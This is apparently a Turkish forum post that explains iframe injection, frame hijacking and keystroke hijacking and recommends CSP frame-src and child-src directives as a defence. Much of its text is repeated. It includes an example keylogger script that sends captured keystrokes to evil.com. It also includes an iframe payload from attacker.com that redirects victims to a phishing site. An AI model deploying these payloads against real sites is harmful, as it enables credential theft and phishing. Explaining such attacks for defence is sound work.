- 23 Tem 2020
- 25
- 0
IFRAME Injection Nedir?
Bugünkü modern tarayıcılarda Frame Injection zafiyetinin en büyük etkisi enjekte edildiği sayfanın kendisini başka bir URL'e yönlendirmesidir.
Frame Injection zafiyetinin etkisi tarayıcıların evrimine göre zamanla değişmiştir. Örneğin önceden başka bir sitedeki frame'in adresi değiştirilebiliyorken, ilerleyen zamanlarda Keystroke Hijacking gibi yöntemlerle klavye hareketleri yakalanabiliyordu.
(Keystorke Hijacking terimini türk kaynaklarda bulamadım, yabancı kaynaklarda yaptığım araştırmalarda, çoğu forumda şu soru sorulmuş; Firefox'da Keystorke Hijacking nasıl kapatılır? Keystroke Hijacking: Tuş Vuruşu Ele Geçirme olarak Türkçe'ye çevriliyor. Bu terim ile ilgili aşağıda paylaşacağım kod da verilmiş.)
Şayet Iframe element'ini doğrudan payload olarak kullanabiliyorsanız muhtemelen XSS payload'u da enjekte edebilirsiniz.
(XSS: Cross site scripting, genellikle web uygulamalarında bulunan bir tür bilgisayar güvenlik açıklığıdır. XSS, diğer kullanıcılar tarafından görüntülenen web sayfalarına istemci taraflı kodun enjekte edilmesine imkân verir.)
Frame Injection'ın bir başka boyutu Frame Hijacking olarak geçen hedef sitedeki iframe elemanının yalnızca "src" attribute'ünü (Attribute: Nitelik anlamına gelmekte. Bilgi işlemde, öznitelik bir nesnenin, öğenin veya dosyanın bir özelliğini tanımlayan bir belirtimdir.) kontrol edebileceğiniz kısıtlı hareket alanıdır. Bu yöntemde " <, >, " gibi kara listeye alınması muhtemel karakterlere ihtiyaç duymadan sadece URL enjekte ederek sonuca ulaşabilirsiniz.
(Bu olay okuduğum kaynaklarda, Chrome 64 ile işe yaramadığını yazmışlar.)
Frame Injection ile ilgili öğrendiğim bir olay dikkatimi çok çekti. Hatta bu olay bir çok kitapta Frame Injection kategorisinde örnek gösterilebilecek kadar önemli ve ünlüydü. 2016 yılında Mustafa Hasan, United Airliens'de bu zafiyeti kullanıyor. (Olayı merak edenler için aşağıda bu olayın da içinde geçtiği yabancı kaynakları bırakıyorum.)
Frame Injection Önlemek İçin Ne Yapmalıyız?
İçerik Güvenliği Politikası (CSP) başlığı, Frame Injection saldırılarını önlemenin en iyi yoludur. CSP'nin " script-src " yönergesi, XSS saldırılarını önlemek için kullanışlı bir araçtır. Benzer şekilde, CSP'ler " frame-src " veya " child-src " yönergeleri, sayfanıza yüklenecek frame'lerin kaynaklarını beyaz listeye almanızı sağlar. Ayrıca iframe'lerin yüklenmesini önelemk için onlara "none" (yok) değeri atayabilirsiniz.
KAYNAK:
Bugünkü modern tarayıcılarda Frame Injection zafiyetinin en büyük etkisi enjekte edildiği sayfanın kendisini başka bir URL'e yönlendirmesidir.
Frame Injection zafiyetinin etkisi tarayıcıların evrimine göre zamanla değişmiştir. Örneğin önceden başka bir sitedeki frame'in adresi değiştirilebiliyorken, ilerleyen zamanlarda Keystroke Hijacking gibi yöntemlerle klavye hareketleri yakalanabiliyordu.
(Keystorke Hijacking terimini türk kaynaklarda bulamadım, yabancı kaynaklarda yaptığım araştırmalarda, çoğu forumda şu soru sorulmuş; Firefox'da Keystorke Hijacking nasıl kapatılır? Keystroke Hijacking: Tuş Vuruşu Ele Geçirme olarak Türkçe'ye çevriliyor. Bu terim ile ilgili aşağıda paylaşacağım kod da verilmiş.)
Kod:
<!-- http://evil.com/example.com-login.html -->
<head>
<script>
// array of user keystrokes
var keystrokes = [];
// event listener which captures user keystrokes
********.onkeypress = function() {
keystrokes.push(window.event.keyCode);
}
// function which reports keytrokes back to evil.com every second
setInterval(function() {
if (keystrokes.length) {
var xhr = newXHR();
xhr.open("POST", "http://evil.com/k");
xhr.send(keystrokes.join("+"));
}
keystrokes = [];
}, 1000);
// function which creates an ajax request object
function newXHR() {
if (window.XMLHttpRequest)
return new XMLHttpRequest();
return new ActiveXObject("MSXML2.XMLHTTP.3.0");
}
</script>
</head>
<!-- re-focusing to this frameset tricks browser into leaking events -->
<frameset onload="this.focus()" onblur="this.focus()">
<!-- frame which embeds example.com login page -->
<frame src="http://example.com/login.html">
</frameset>
Şayet Iframe element'ini doğrudan payload olarak kullanabiliyorsanız muhtemelen XSS payload'u da enjekte edebilirsiniz.
(XSS: Cross site scripting, genellikle web uygulamalarında bulunan bir tür bilgisayar güvenlik açıklığıdır. XSS, diğer kullanıcılar tarafından görüntülenen web sayfalarına istemci taraflı kodun enjekte edilmesine imkân verir.)
Frame Injection'ın bir başka boyutu Frame Hijacking olarak geçen hedef sitedeki iframe elemanının yalnızca "src" attribute'ünü (Attribute: Nitelik anlamına gelmekte. Bilgi işlemde, öznitelik bir nesnenin, öğenin veya dosyanın bir özelliğini tanımlayan bir belirtimdir.) kontrol edebileceğiniz kısıtlı hareket alanıdır. Bu yöntemde " <, >, " gibi kara listeye alınması muhtemel karakterlere ihtiyaç duymadan sadece URL enjekte ederek sonuca ulaşabilirsiniz.
Kod:
<iframe src="YOUR_ATTACK_PAYLOAD"></iframe>
YOUR_ATTACK_PAYLOAD= http://www.attacker.com/maliciousscript.html
maliciousscript.html
<script>
top.********.href="http://www.attackerphishingsite.com";
</script>
(Bu olay okuduğum kaynaklarda, Chrome 64 ile işe yaramadığını yazmışlar.)
Frame Injection ile ilgili öğrendiğim bir olay dikkatimi çok çekti. Hatta bu olay bir çok kitapta Frame Injection kategorisinde örnek gösterilebilecek kadar önemli ve ünlüydü. 2016 yılında Mustafa Hasan, United Airliens'de bu zafiyeti kullanıyor. (Olayı merak edenler için aşağıda bu olayın da içinde geçtiği yabancı kaynakları bırakıyorum.)
Kod:
https://dzone.com/articles/frame-injection-attacks
https://www.netsparker.com.tr/blog/web-guvenligi/frame-injection-i-yeniden-dusunmek/
https://books.google.com.tr/books?id=Y1v6DwAAQBAJ&pg=PA67&lpg=PA67&dq=mustafa+hasan+united+airlines&source=bl&ots=zR3Urxp2K0&sig=ACfU3U31FlyQRwIDjBuLzLiQA9qGSnqjKQ&hl=tr&sa=X&ved=2ahUKEwiz_ojJ37LuAhVHzoUKHdxLC_8Q6AEwDnoECAQQAg#v=onepage&q=mustafa%20hasan%20united%20airlines&f=false
Frame Injection Önlemek İçin Ne Yapmalıyız?
İçerik Güvenliği Politikası (CSP) başlığı, Frame Injection saldırılarını önlemenin en iyi yoludur. CSP'nin " script-src " yönergesi, XSS saldırılarını önlemek için kullanışlı bir araçtır. Benzer şekilde, CSP'ler " frame-src " veya " child-src " yönergeleri, sayfanıza yüklenecek frame'lerin kaynaklarını beyaz listeye almanızı sağlar. Ayrıca iframe'lerin yüklenmesini önelemk için onlara "none" (yok) değeri atayabilirsiniz.
KAYNAK:
Kod:
https://dzone.com/articles/frame-injection-attacks
https://www.netsparker.com.tr/blog/web-guvenligi/frame-injection-i-yeniden-dusunmek/
https://www.tech21century.com/iframe-injection-website-attack-and-tips-to-clean-the-infection/
https://books.google.com.tr/books?id=Y1v6DwAAQBAJ&pg=PA67&lpg=PA67&dq=mustafa+hasan+united+airlines&source=bl&ots=zR3Urxp2K0&sig=ACfU3U31FlyQRwIDjBuLzLiQA9qGSnqjKQ&hl=tr&sa=X&ved=2ahUKEwiz_ojJ37LuAhVHzoUKHdxLC_8Q6AEwDnoECAQQAg#v=onepage&q=mustafa%20hasan%20united%20airlines&f=false